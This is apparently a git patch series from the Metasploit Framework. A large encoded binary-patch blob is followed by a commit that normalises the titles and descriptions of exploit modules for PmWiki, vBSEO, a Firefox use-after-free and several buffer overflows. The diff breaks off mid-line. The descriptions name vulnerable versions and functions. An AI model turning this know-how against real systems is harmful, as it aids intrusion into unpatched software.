zvf_TrU7Cm3^Tn9<*D_wByXGBQo#j=*Q+%x;uP*fYi|9K4V2PW-{-%|VQ6|Dy(k*Gv z8U9S**AdE#4-2q&ku-|`al&3E?B+`+f1+lCljVht42R#>-UPnhH{!bcEXWBB(<$+p zU-!1y8Wj6%);^oChg;l4;e9rFr z>(x1a+tmHV6z9*6na5W)w&ADy-<)#k zMbeVgL6MO3rHy|-^L|vyV2H>Xl_c5tDvtG8=7ps0>(PI#{@5*kRP*bx4d$Qjkzche zeOJ(zV7hTUMceT8y{eekTX{TA?(@Oj`>XvtpgUv`R2cY44gCDX(d5Y7)FV=@+Z|K; z$+f;cSL^b(7KUQi`wj;POzB|B`osB(Z;{>8b*4h*x9^!LKY#C|YVE%_McMIIZHjWW zDFIB?$X&k0xSefKcZ={b;fH2kEwz+c_adu~MN?0`pV zXmZ}p47Ic?ZkIRd{fRzuNZsz;m%rtADx%7-rIk2J4&C_?`DdtY>x@=HMF@?;buK>g z4TE1~&Kuz-O2&S6Zv-kcw(AUv(yOb8^xU9*SuHH~nE{?uac(f_wex?V?pBd(@8?ja zx?|saHxK9V?!m#qP}i_q5>FkB6(-tjOh0bm&k8T|*;(#;DS4BO{noS%-8Uv~*c&H* zNKk&S|MV`Rw{MO$uRHbPY*xoY{nPfw!t-Q&N5%O|lAkuvUTQ2)@QOO(YkKIWQNp64 zt1@%xUZsX@1wdB3aL<%OW9P%kosNGeoxf#s2b^&GV<7ZYA%e}2eVu}NO_EZ;f~{k6 z?(w~kb}?Cu+(~?ud3tsx|E>+k)9AyOUb%z4C%3l}#q1^*yAB7IcZz=5*E`QtBTM5| zdy!o8_Jijil}e{itXp2hv^C`w{&5yGIIutZu(aI<-JHwusqgtt#@tj83EWhxkf&Yn z)A{`7`K`A5N{L$KEfKOoV-8;*3|#HH-j1)IYA7N4CvH`C9CQ_$I_`9Xd)RTYxau5P zxsY@B#zh{sorkNZn;n!R&rW};IG=a^e(W7)*PrCW=^eCsu6e}mRt7S99P1*}v+RJF zzkI+}n`xd?8fVqa^ZVNhyH#Q*c0|a52X8+#YJKP`a^JVKrOC7L%e!w?CnS~hDkZMW zob_1uj>e2czWk z6ygXyIAZ^Wc+Qh}LFt%|jgjjXzwK@X)t@>Pre?nw)sk;}UH{JKWw6d6YS)fm?9Y4t zk){{?oh%``p-1=p)=zZD_L7wKi>x~bUZkFI3yaV$bTF

WcCW zRx(nzJo4$$hf+C^V{uEVHM`i{)!o%q$Z7pt*Vt@>{?efrWSzgWqaXbaUTP1Yw0jg9 zAaT(9^VN-2#WS*}Kh8d#cCJj@pD1y4>ThYoD--xow?4aLX8bnC#Jj$sqQmVWYDpKB zwwQ($i*9>S5;c!VY_*w^{$q5~bIX(Z-8-J)f2qFi^4-pjtNltE*?BJW2vK}<5bp<# z7DoF+2|mci{ZWp?9mJx3HYWXO{((>-{S4P?nEQ(9?C9=_y)_NxSJS(?TL!QiL_YiQY5hoCF_Jb$zgRFC3CBul*Uwy!O)R<3gz>*N>Dh`hQyy%t9n(&ij zp!HZvs{N@^UU5$CuH@nbQ}zo}vX{~x2gsd&G$E3uwm#&CQDIDbBttNNP=BfKV$BZT z$=tUpb$@@c> zvYKBG5X{zH5L04qDV1Xo?yJ1JQ~7#Z`35fY&VyMW&pj&_znYh)N*?rYNm}uoL2_dmgIaG!aJ_JDS}~{&`V%+jEvz{3#k`IJrAc=Q#Wt3}bVG~(Wa*XjO7XKbu|AFZyP5B}b+D<4%L z<9CjW;$83V8u7d9Q^+}d_T))kUp~By6Wt+>im=zAC;Ql3T-X_cyx4WC!kQm598`7B z&Qq;o?or=AcR^B8I2vz^6HIyB#^n8F+Tv{6t?yb-dK3>8jKAf_`_(h(I-IIHv4fF^ zQ`uppN3Qb3fo>bV{cj5P_?x~ON)PcLWPU=vLyr6y-6%2aSw^x{6IAm#r2qYB-=_wF zUzh!LZoZCpy%H`RuJw9|_F?GN-9xi2ghd%Y+nU!$lm~niKD=Sa>q$nRizZHT^zQH9 zopbT5uYRyb+~@UI#cQI|Ir47g{UcAWsQ2Dh^KIlxudX<0TT6%Z`eaUl68^?m~ z#qCll5t$TvZFcl{+mx-h$t+Vq&7s>j;x?vVNDC!Pv@>LVtQ7p<8md;YV7hV6YE167 zy6(gNxm_ClYNa>YHkO!eocq?m&{0PhER|vX_rcv_7EApbbjj(vc?I#nT&~Bcwepp7T04^Yh-(WYv>D zZ0?>pP`I&&tTOZ{=7mSudy-G5tDDC|cJ^@*89K5^*s+I;ox-&qyhRD^WYx=~P6=9v z3&VnW?9cnwp9vbHQJwX+|M_X@KVKy;p3igMfv2H~VxXbnh9|*MLCS^>-afniNE@(s z1e|encNTTz`^&+s^-!f&TJ0uz+m-JO%q=#_z-N1iyOM^wU69J{Xi=FmzbTdD8+p?% zj497L?wp+;nYyubMX5=P*OItiP(eXw@$(Jk;lCYv>&Sopv|gYQn7x+x^@qt=Wuocf z;E`()I}ALEy+;ZXxexn~>FL=%I_{u*E_&C42WMMqT9R7I4MqzDqn{j!+i{8fhPzGq zgoku^<9qtxdv$lN6$nW`*pMNy7diL4Y?lFG5d${QR z$M2T!WzJl?=6@qMC;xcM(Tq6h`NaaVHkXjiw}G#jcX$)3lRi66eR;SEK2&gMgVFZ` zJs%j3=Y|P|$EZEYy&El}7B-`E)b@|4PW<-fZ)3N7KAJ?)w`9dukGE75y+t$|WJxyN zq=m4_h5dN>^iq?N4|a;|&3gAmzp^@y%&SxyD#^S_96wt3;qynAf{kX!3g37u?{y?U zJ>DF>U%ReHOm`-;`Jac`iLV@Lc=t;;R?P}ovu4P$?AR1mop18(Y_!j)W$k*{Xy}yk zQ{wOKzt{FaNdM1~&N(gF zOHZG4m+#H;@6Z^`s>8&05!QxTlMI zE&ovBWv^29X~(k-Kz`jqh4{c@t;Rj;+giiocXkk+?O*KvJ3n}Ta^N~w)8v=rbM&F- zjme2UPsPHS{YsSi7}Z$?GSY;~LVb_2AZBeZ{aiZ)zxFot1YVid*&^*(WT%-_v!8C< zY{wsV-+!t%=$omes(5O)KUQ$@o8r}<)AV4P@*5A3c^)LSQRw2;ZAW7jOmx~kgX{CHLh#IZc~~I+b-2fk>NwH*Cx@FUrIS?+j+KYLD(8KR>{i9PR5k z-?VgeiMHzaA5v-2-rb~a&HgM~bw~Qfy3U^R%^N4Qa{li& z2%U^3vB^Yc%+->bhn{mLShx@r?7bJsnX zwLG)sQt@}Md!It^3@qGVV{!#5eTv674zlc$0OrDHOPzTI`imbmi?Ai$nikjEVsOP| zN13J92@AhXPF>Yc!u=T7LVT-BXufREZRuo7xD?@Wu_r@)T{wFLc~`oess*ylo9PAcC{3mLc!V+vg9gKRwQmU+(X)ty~v2il)J*U>f zJR+XOS)&%jHO<`Qv*`tS^x2OXw)j?@kE4J3h<()GBB;dL& z=zVyeNy01fnz5D}R!w(Es%CNn4_RJH9do?mb!IGX`Wj+uVGvc+oj%9&-v#M{cY4_f zcyj?R;!Z&f`y`0y3SqMY%1$%$<=_ z<`ZfcaK1_|dv!?3W#8RP1Ltlj2D*0Kl+BU5E~~SCy^@VhN^Q$4x9phYX2d7%>uIG# zxwz=#1p4&OJeo^YHoM+LU5SeOtC%bL=~nrPl$mY9obGY|MD0B}RhISE?rq%L0_KwQ zg(W-Y%Z)Sz=ui78WY2zK*!;0_F@(=%!|<&cjdF>c+cw9^&2ymvL5zFv>@_{?%_{b0 z`t_?HF&0IB*KOR@?>RgF@UCdP?Hg9}`CIin&8b_t;l)zD*KqlXQm*r&1z&#AMwB_$ ze|9EGO`_7DJOKqwBqVO;6ypIpkv$+$D>`*?r!0EOV^T^#RiRs4ipTA{eI`Z z`#Vd_otB~A_UA{|)gUqJcPG%ie#u)gnvnNa*{|+fcBAu&dt=g9-Oeb)_4W@Q(XRPq zQ~POKpZ9R1%1n)>QIoU}Pt6_npz1yLPT!C_yPlUbmOolJpiNGBy%4^C%A@RQ>3?9&Rk8w|EL5RvF;gVy3)U)nem5Ex0mm} zI*sHeEko<48e3wzUz!~7)P?WX2Tvi(zX(R2EiYhZN38IvZERwWE+xWes6w^laG#-mne=i`%wTE z>G{%k|Bjc=KObP#OwVy*{6~EB!GTuhUFoF~Lie{m%`VtKMGWIBBS&g$hKmG5Dr&eK zzwvGTn4Yv??||0fg!&I18J1iVT6z;(&zAj-O|EaT?H7EJO8A?=Q6@dlL!a1wEVTvj zIQ#JIq&;$EPrY=%A!lRjrc)7);E%|7s$Tl*2)tyvWp}6Hmz#5vYi`yIB*^?nRpEPO z8{wi4%v>Z2khizPcgpf@=GECRVZ&>Lr(?QankE<}=M$I2C0k6CrA;hcUz68oJU-Hw zDan4}ep#%^39tJCiK#|AY>T(cCMzADc$VKVaXx0VKKaNZhZm!cYhWO$DCc;J6T`&U zw!&){FOFBHC^C$v-HCF)`@UL~o-OZ>u>QN5=i#H#i~cR-b(Jc^q-up73pZzXbD#18 zhRLNiF2nw93%;#~<*$=Inx#ybqzX@K+Pv#*=@(PI>@h6B_NZ|@5zHMX;tr-34J;^5 zr$mpC79F=+>#D@&P97{^x~;@%Y?$*v^2;y$UdOkB-E#LU_4Q{rkD9XCijcJqM?ARs zaqrW+xzFPHzmQW}?|JUa`Ho1iUS^KT_ufB|Ssa$JKs(lHY);cj3P*o+|mrdCC zezaiEqZdg$KUgik2i9iIJl>ajTXf67A4^n2@`$i_aO6VPzf z+=+ph`|B1*Z?ndBxg7H)QUXzNg+`k#twyEy-aq?62@J-;XG&G#6Hxbk=gwv-3ypCK;p&5}GUv9~L zO!kTMVJ!)g*5zlq9LhpgOS{$g!YA1A*2hbOHT~9_%=CPA28P^*bM%dp6SMrAb0w~| zj<3`IF)`bJv18D>hr}oMejrEZ!1S{{5(jF?f4+X2p}934!>w$=r84^1QaxJudVRzI z`=c{kHF?6U8txBlBKWu+JMGH7PWpwnQM^o1L2n72qzq|yoYI4|u6Q!v@Uyu`?=0O+ z5_+$mvgdiD(y3V{O{Y3am}VO;c>mV<=X@^X;HGt>x=Q9P_msxine!sjLp;XD+KEGv zBY*!a{{ErJ?QF7xzpF4%*ni3*;UBrgjNa1pmt}NJ<2bic*U}65b~SGP4mmISn0m{y zpIFgGkRzS6E}iEnop3y&O^)u<=E!`qVFzC=2g4b;(i68O_KW%FI;n{BjId?grrG20 zvfoZa>xq@6Wvp^Ai7(Vj)v>XY)k8Q>Ly7TJO2$B4EWBX1jy-Qv9bX<8oFLshp!1s3 ze`C48>1sB)tEIcd9G=YN@Kv-u_FuB_4Us`q)pL5}t<~HZ0~8*;eENdCTO*%)WcI+B zZNVEh%EwhC`oHwrLoiu5=Rw>)TyG@wa?!!#xvrwu@g;6`q-^NilkG{a$AXuP_hkM| zH2GXhm-*95WjDz_p(C=uqRv(Ay~>$`!MB*aEri@OuCUIMSjtb7>vE>8|7^k`PFzWLx;pRa*IC;`%A#1E`Kp4iFf*L{#-@Jk zwDBabl*E@aW+!77O?PC>DOK8EJj2G;xedvAB$ z#ocxGkJ$%G==d(qIA>VdRwQ(=-%}pP51gGN=$)NY)#J9?BNxo_a)0#RENR&(+lV{Q zJ}4dinsT~xw&C=(KADSxM|NmPA;%tWXlw=!9Kt(Cvrk_?n2_5p5m;@qq4B=8uH79htz(k*9FlPUNn$m$aCaqg+G#-OEZHN-yus{j8+?-1u^G>6jDw z(eCJPyyaVaKNYBc;LMR1-v6t$q3eAaqfu=f2cmsugpP3L(mA@EqW({*dM--s*;ed& zKF>H+q7FSSVB^+nd>U`lGOVc%CNauUC2 zq`2s*(-MVx*A90&Sm<41&)}ChqMp|-FY?@qGfv1xZl7y#rrVh1I^*L_J$A2!G`g<) zbN&9Pb?`XvL{Zb1KEt#5wToxoaTJdybB(cH7Wq7v`alG{XXwT98TA`9bnhwF7T^1S0^&=@IJIKz>>BhcZ+}05%eQBR-)zaa#uI?v` zcNVF4#j0!R3cQcx4xOWU9~{c@>8NaJ2zw6g*>J-$lJK`twUaj4@5ZiX7WltqelWT2 z&DJNnvB&8QM;>nGymTRQQ}gX++$%;g{fqfDyItl-FV634ws~RKJh3gAH7m5gF|+Qu zBF8&Lj$Z5O*X^|Wf9)~^nfJ55T;vgM*nuOz&eMFNbte~hq4wZ7xyM7W+ph3==52iU zK|z~#;{$Ks&_{lb`g^LwDS$(CUtc7n^|cQDs+?PYoz{6zJ|%Qby}J}~?%fQF)@=*+ zDE7R`bxNl`y|B_;Z=e(EY-&IdtDbLdkY!M;C$Mo(6fTPM{oHnJL2T>mhY=<%ZA~rO zrY&TX(=51hbK>taVceY=+`kBIt!gH(8@jWaZ3COwXNb4Q8w==lBLrXab?|uJ$qdVU z*Cd^KW|42(%dT}}^vC$?_HO2QITb7@=YDT%&aI#$1;6HNpBMk&TsuV^<2-mj7rwGE z1ui}Km!}B7=*TTWb)0!SH$~WWRRR8N@5ud=ZG(`l+ZWgQF`>ZML^C^;wDrKy!c5xOhG;~BcdSe z7nS<*i@2G>S6n0(QutkqM9L4Kfb`!)QK0mjh*0zG5>kJN+m;ieAoUON z7=_~dOSGjVplVSN_m@bdP!w(V|3Yo3S#O!35x6Cy%)gRbmZ*~5bdZ;@L?lso*Os7x zXqGQaL{my4ju8>fv_s@jBJ(~>17saFZA1|uut5a`T7*EMV0}b^7cC)2ckn@xT#pq8s#Dl6|6!_zjK#HPnJfionenq;~`orm{WuK!% zFsH#fQGU1wP%5WHk6@L9brJ>P^a$nWZP2=adis^hh=M;<0#ICO#DHL~L>&N*F<>45 z6zT~BvWH^L9~Q`SVnk#q6y%vu5|oOJGa{JxDJ~%~QBAgDLa>0spcwvJC2eLZpVDBC zFe3{8YI@8})dYE4C@`g7b}Y;FLPLL+g=#OwrXCimO^`CCIM`oRF)eLvW+5Bxtzf9QV}O!s?6o(#INOq6(6#LlBYV`8Z?_m>llaa6>5IgzoP z=wD7q9;3?m9ix_2zKqN+Cp3;zSux9r=H&!^Je6g!oJd_xyjV^MpP;%m_yl4=sn@j= zRGa@fLCvn6KuwUB6D ztN8y%ss|V+BXSg>m3O=Uk5C;*hC&qEC~tTFf6KcN&j^O%p>4Ct2pdHq<&EM{_Wb`S zJOo5fQx&efxcYyDoK7)w_X}ErVJ#Gy-dc79RrTRD?v4s*_W2JrB7r;lIQhsU1UrI}H&Ar&AGLifH(j5#RGL zdat1`Noz#ahA~m{Fe5t<5+qTh?P>q62g+H%JSuDCc>q@$qEAt}Z~u~M20TOr{7yrpDY_2!KV^H(1`oPmh}OFD z&m1sJM~D>X9Z%xil?zLH2>;i{k^vk`hm$+1`f55<{R*_DV>1m{MCt87@GP8iQNI3J zXp0XUC_0Pqf<0#u9*XKt|63pQ7-?uuas0P4n}Wi#a1nuKeGaqY@A5H$89pXqkRwQK zV!1)yhu6UtDhXT9`ZbP72Fe+T4kd4B1}yfsFi^>Wj@cr@!~^afrsf|VyEJPABf|rA ztPOWK7|wv>)dvYCz%Ium4fG_L_`%L|(3}=2Dpah3@PLQs;I#WjmI7@6o*4)mD9lFa z08nD$f)T?0O5*kb!%W1M)&itwBKEk=dZ0NQ;Rn`P2qQ?=V`2epS%^GNL4O6-!U-8* z#7+aqE<@QpW*8!D&cp@S-Yu8J1P~D%t2M^c0*DE2oJz>sFmZrnYZBF@DH|p(80ck_ z9@}79*ln5Ezzl!|l-gp5N;a|?=e!LiL_tzEqDE^8nzG>}qG!(pBJ5!RtM792D<73 zqJ>MnK_RjV5hI*oJ;rb?M09XEcQB%&5YfYNH(^pmFvr7YjA2&<1G26KBf?ssc@@Rb zyhlaQb(_IR5#ov)eo7TBMl^9|ofuJo5}&#;;xkH^zru*rS4<+HsSqmp^kz-mS^@bY zVvpAzVglY1OoHI^MYwwI8l_O;Kx&MM7kHJx;44i~AO$S=Z6$~Z{?8OO&+ih%gf4`J*Vpf@6 zfkoT{URPidsRWcO1BS04sgWr}T`nX@J7?Eno zEDc;L5Ea}O!xcmsbX7oOYb{m~Ver?AnHfl0LKjf{<#`oqJa4sDKoH|4+Ay!~{(d$q zQbJ(qChT<^uEEU1&KNA~!pwu!>m&;Icw(^VPG&*O_)!#=+l9e=m545GJ^&+h0-+Zv zV?t6Tlgpis-Px(>?*`R7B&=0K89)-5`93ZM)uGi0qNC9IPPxZDoM$tMRSWYi=KohJ zuwXfy&rpHH;{OVKFJ|VzVtS`yjblK?il{PX+G6Dzf!CFofYfznNpukB0u%MjtLLeQ zK;;(Vh7)cCs<#j^aQPM-^TxpFEyM}u{RqozSBGrDv9_)d?BH%49G(oGtwJR0kqx-u zp%sJ)+!=y4$JQhAw2q*n9`43Yer5)@;YJ&6DR6?i3#WqqnKj1VoB^o~aLQhqVP*s& zhnA&Y&#kfe21sdu*3~Sa!h+yW1ENA}29$0iHnbDq$Za@Zbb*fBP~xT#=)4Wb;@?6n z{J`!Gw4@uv+(E2y&Z5BZ0bG&TO0zJ6cXy!WyTw)^^sf6c`VW^umJeXhZ!V+ zGm=?>nLw%x3lrEXvuv#6I+oR)PIVncG)tL<8IaepaD%FXWl5`hFxGdJmieNqSf!9f zTL|voLmY8Sn@|Y>pwtL`E})GOp4u$DpwkYW+)zK3>#(ejX#%+42*;mxeN0%j3C>v> z78r5Vf`t{FZi1D2VuK+aO^620!2u)0nqj{_>Vy&D&B#U^gBwZ+0$Vp0KG4++Gsd}N z$WwO~PRhy*Gh)MiSf6AMjOTYB&ONPR7{RrNg$KkwhmG$wDswa(gIOLR>a=#i-~pV? zVh^I20H}r-F7gmY{C$9IrsW4|4-s+T`Vi5eeS@YQaHeF8e}>E=50qX*y&5ghVQgSq z3ml4zPGa2V7Fg}ai5S842-Yhv9V2!Y4;R+N@4*F3YR?md35Y&M zv~l=LtB|P2u$tZFtB_}p;kxAmplyYrJAZQ(|Vv&)6K#L6raFYs=Qu- zb#Z_HC76IsAGD+ol^N{EWJI1K<~UinM?eD=KF1<~#q{!1sJ{3Y26xfJ<~Z~eF~#N6 zfzftE0ob)8s<;?tj2Jn_3OA?SuzHW$VZ_+MNIP5wzUM}{@*wCLoc~JKql7T1eTEq0 z1T`^&=Q;Fq<7Si)1XZ1|3|2i>5wv`HT-26TaO-mzX9tT_h*SqO#?f*u!UwWC5G$OJ z^;(!0)MmmZKBZ431+cE}$o>Hz~Jno4s(t z=KF>boG%b9{P%CHpjw8F7kIuvEbyDZQz`NfRtAvxos|ddc>qKG;ROt}7NC8JxZr>N zq{W*=i&TL_i>#s)fpx5Gs{?^&1%`dlQ(IZt#DLx_*Z@R% zP(%*w=V6ne?cey(EvDm0W=l%x||}!>S*JgF9844RpPL z-ukJ+wt94Z2@Lv>P+YzmDyI$f_i->#N?q!Mxs!}gR1Um1ViTaC!Tk`mG(}M%!1)H@ z1WOGZETGbqjgP{Ai}C}^R`|9!92}{s!n|Oo1sg9#uJR3(>$O^8af0>M)FK4m!j*NQ zEgP_NVIu&?w{SBq?n0sDLF;`OfOz*c{_t`KDg$sxz3$G&j0x}!zzAIc$^&q4B?MyJ z@IW>eaCHDWYI7KdoDPG?5{kG*Vu<-59EU!}U_{;^9L~c*_aGek7Egk>A?P~2A=qT* zPNRek?oTG@9)i8@SuUU*Mc^-^4QG`m2(M$~1`^wrr@;3kunLJ;qi{I!X~7g6ABEPfZ^H=vF@zPIX=7sqGo!EuiceNx z2b|LL6@mq%JZEFT+U>9THEw$~k4dfn$|eAm$DxvT7eM954(f5ChsC5H|r`AFq#MGT`q7+=;;7k(z`>u^FS7 zG`Kej9hl^b5<-CSBOEHrBQOoIOb9dh9l^l|4t|724D4NjS%C6B4zw+EgD)QuVH{`V z3X2)YPQkUfVHCLk1qM5I3hr|s9#|nbz~mH+K*OO`2xklj7v|ldc#hTG+BANZR9-v> z#l>8p?GtpUcH$~tS|W!ako*jdtUj{}-t!sy;~#hcfLhZ088O2ZmSTkD7r4ouDn|(! zaN-N1P5Trye?h!x_W;5);)VNGi&lsq%r%T%=-=IPNE-y6})=2U!{443T0M)V1Kx3}_SR-`e$G<|0^KjkNy|e;kN^(-ed+;k9 zy3}bo!6=SX48+qe<9#SziKE~fR#~F?4dM^!D7Yxt^9{~HFJRPQZVJT=I=>;C@E^FS zkn}(B46A{MN~QmUXyCgDR7!%#$w|?i^&OFbI|Iq@aOm)o2U6b=0=V!U_KkKWln@7p zH91)U!#lVz5L|$V1d5s~un^^75nC@DUVy=Pqz|_JfNkm80$i_Xo1%mq;QRr5rw_3E z0ry!wTQLD)3r;@l@UX{c5~&&`XR+MTrF((7gybwzOPK*umSMUoeBM0tOo|LK$ywjL3%s?Gw9WBg#M$#hso5aSSAQIL$!fqa4r&f0pR(38kTt3j6N?y%C6I zfDS+p=&!-7cg)X4MN)4MU1ZZnO6e|h4<;h3sNYKDab?7ikkAX#2685x$C>x}CfF>JB zl2QX#NRzAoh_Ad|EqIR)`f9cRwxRqF&C2oc&JPa_hgU@_e(E!i zE&r9oy#m+RN!SB8-DoCV_<#nrC6C^-IJ6I5a(X~#uf61a1(Z0be%!_ZGev_?4r)pN zefiwKC0T=N4ibTKdsn&N?hg)L>SVyX#kIG0?}NZR2etge=i$$v!Yi(H*dx)W%9j61 z;)KCQPHIDTSejD#+{d0XoW zE}+ImBJ6?= z6)9JrdscJ!zDoz&% zB1B32S$IiKz$8SH$Jx+P0ARNyK@V(%U>OG(Fhqw@k^=~7LkHXvf-_Juy!?YXfh{x4 zI>85F24M&nvtqEOF!b+j4vc`mC=1U*g`s*;Sq$kCCTZg2)KNkl$cR8oK2Zn~Xw;Bo z2T3AOHd7O2lfWAh(k5Jw7Dj9mg&FtipoBY)WiwC}ClSG{D72Fi?rl(_PhXM^Ti8%s z;AkYdI$E`cm{gG%%rXSGK4_NfCa_FO9kk5WNM~+w zl3a1zZWtyZMbf~59T*WUMcRN{^2CU)ozUHs>U@xbA^FD(bF+%SBt0MzpjuYnRS1~? z_3ZLnL3n|S8I0xv0cL#|K!u4UJzP>SMw}tS&~}8Pgcx{7B*ATWG*Defk_02sl8itX zffetgA}0};apDlh{(!(h`jIh0p9DE<$1tLR1pQ+Zj}c-gpnv|7pq5J~F=VSWNevg4 zM3t3>_U=i;h|TGetXVQp)HfRgEM;IBH_l^3i44q_bpa!O%D{Y|E~3PC99tO%zA1x^ znsWUd?n0sm57&`|abK=ryg%!ptAej$grh99P^S_jDr89pIO!^skN~W5Bo$gspeskR z!`*xhQshY6XbEB1jSW;PnM;o>Nx=* zv=KVBMh=W@gv~ov9zN{hz7e*zL-H76t^lj|$q`!A0tIQs!SF`d3T8F}RW*_=u3H`b zD+hKAI#G-2MaLvL?v`FBc;P`eURv0x^A9JIhV5cDsQ8CK!zy$H1daBnw(P zz@Q?{9SAH1z{AaC!Bs5Mv$KS-bD7Ae(VRjTrGx2li>{2Ns-e(v=*bMcK!~GV@3EK?k0Hq#`sNW3rM!&=e-B++VaOgoT z$KGIwtsZoa;=l^Q2wp@i&$4ds*SN9)ZpTpdRr=7Lzj`EdTmamGtwtC?kUp&O&)F5& zj#dxQ8o)O5?k9#_{srqnX~nSyFz`da!5sVqjRtV4EdGNMPP9v47RCGxVHdB*6F`vx zEVa@Q#(OV40mR*v;sd|nKA4sls2afqiZm+~JZA*!oyrafW>9{}2)d`56C+fNNtr$^!7I*2JbP2b~wvmgy=eWEJG@W?25NI@mc1&(U5dvT} zhhaKyfD-(`%y8L`3Zpf4uoz(i9YzFh%uqkmH3BUrn1G@gEdRVIfd`0eg{1^-S%F1> zjtMmD#8zllizO)93TKbs)&y|Xh9HYRXht2()>}Y+y$vw8fMdj?Z6MQvw3XHu3|o*K zad>CIZ4JkUt(GvL15~2Gg#howEMZ~yT`=~HC7d8HxnhK_6(oY)Fk-zsj5oU~G^5Xb zjrp4HsDKz4wu1ea7I0aUTxdU|AAF$F1LlDbmC55pJqe)QlOTr85L1DK)z>0h;d}64 zr~fAo*x10K!yM$;Kyo1oOxnPqV>}a(ZJ~p$ZK1ax6`+JAPOS+26atGy1U4{h3u|z$ z1QT<)1mj>}N0NtnLhMK;w8o&yj9f_4saCt{0100z?GWM0QyM;jSg_RaCZwRiM}+%x zOK4fC6CAWz!F?x^H9V5wbcQq26nwPFnKE`?btYNiTGoSK&mD!|NzWJYTUQeB|0 z1mL{o3SB>_PNa4hepjf97O1#FH$Q|EnJa8(DXy@pNxB$ewVB9*`QxKLadjUxhpTc_ zTFMO`ba}$XH-#`F!s|bDV##rX4Z6n!gWKHTg6psupmm2v&ZFz8NFqU_c=cECNUup=09Cy4;l9VA`~>W-q*P8d4RO??u#<5A!1Ix+ zKq9CPhfX^yi11Plq?iV_{i6%_+Vb#GWB4HP${#$C3Zcs0_MjTtg{q(pr@*2>VIRUq zQ6YMNcU}y%atNwftAaj~s=~sPs=~_?s;J+;Yy~gXicwXb;b~Zd0r+_G+UIp!qA9Yx zpx={(Jt8~}Rp2I10@j@*Im)4e=6Bjp0nk(E^WX58W96?Tt}YQcKq*T7V|T(>ID_*$ zNwNy)PM`92G-$CltoYhPj;3?Oe_xmc(ghJdIW)t6->I}*PDvbF&PoQ5ehd-7#L*YN zK#P)K8Ef@}^Z$wy_8|h47*bx}0gsDf;iJWC#nnKe7fFgDwEA2AYlV!#FchM=kg0w=G5AqY_Ptb8#KR$}dGhU;}e@S#erd`s_t zq~xl>E+|EDev%IiJN^a{{H-GjfJPtc;oNfw<63TlDIe-d6o)Sa&Nl!BUy>LlqXi0# z-v$A`)MK5~C@^>zTv-M>P$0JneDbB%|Lw%}#R2H_ba?Q#_Gx#^2SC*yo}&EqBVkXw zGd-W2JO!QJ2@h@7iu$&qqFB%I@`oj?YexYgkm*lthUE~&KkFa@?J=S(nDwVtX$ci> z?gU~1RD%rzAh59q+z)_#{`PyKIBb^;4V+Xx@?LZ z>%k%zF& Date: Tue, 21 Feb 2012 11:03:18 -0600 Subject: [PATCH 4/6] Module title normalization Module titles should read like titles. For capitalization rules in English, see: http://owl.english.purdue.edu/owl/resource/592/01/ The only exceptions are function names (like 'thisFunc()') and specific filenames (like thisfile.ocx). --- modules/exploits/multi/http/pmwiki_pagelist.rb | 2 +- modules/exploits/multi/http/vbseo_proc_deutf.rb | 2 +- modules/exploits/osx/browser/mozilla_mchannel.rb | 8 ++++---- modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb | 2 +- .../exploits/windows/fileformat/free_mp3_ripper_wav.rb | 2 +- .../exploits/windows/fileformat/mini_stream_pls_bof.rb | 2 +- modules/exploits/windows/ftp/absolute_ftp_list_bof.rb | 2 +- modules/exploits/windows/ftp/servu_chmod.rb | 2 +- modules/exploits/windows/misc/stream_down_bof.rb | 2 +- modules/exploits/windows/misc/wireshark_lua.rb | 4 ++-- modules/post/windows/gather/credentials/razorsql.rb | 4 ++-- modules/post/windows/wlan/wlan_disconnect.rb | 2 +- 12 files changed, 17 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9235ec688e..7823fe6641 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Execution', + 'Name' => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 90dafcca47..b0b538254c 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection', + 'Name' => 'vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php. User input passed through diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb index e095650fc5..c9b31b2251 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -24,14 +24,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability', + 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Mozilla - Firefox 3.6.16. An OBJECT Element mChannel can be freed via the + Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs - data attribute. (Discovered by regenrecht). Mac OS X version by argp, - tested on Mac OS X 10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3. + data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7, + 10.6.8, 10.7.2 and 10.7.3. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb index d855f6c31d..c131c2eb51 100644 --- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)', + 'Name' 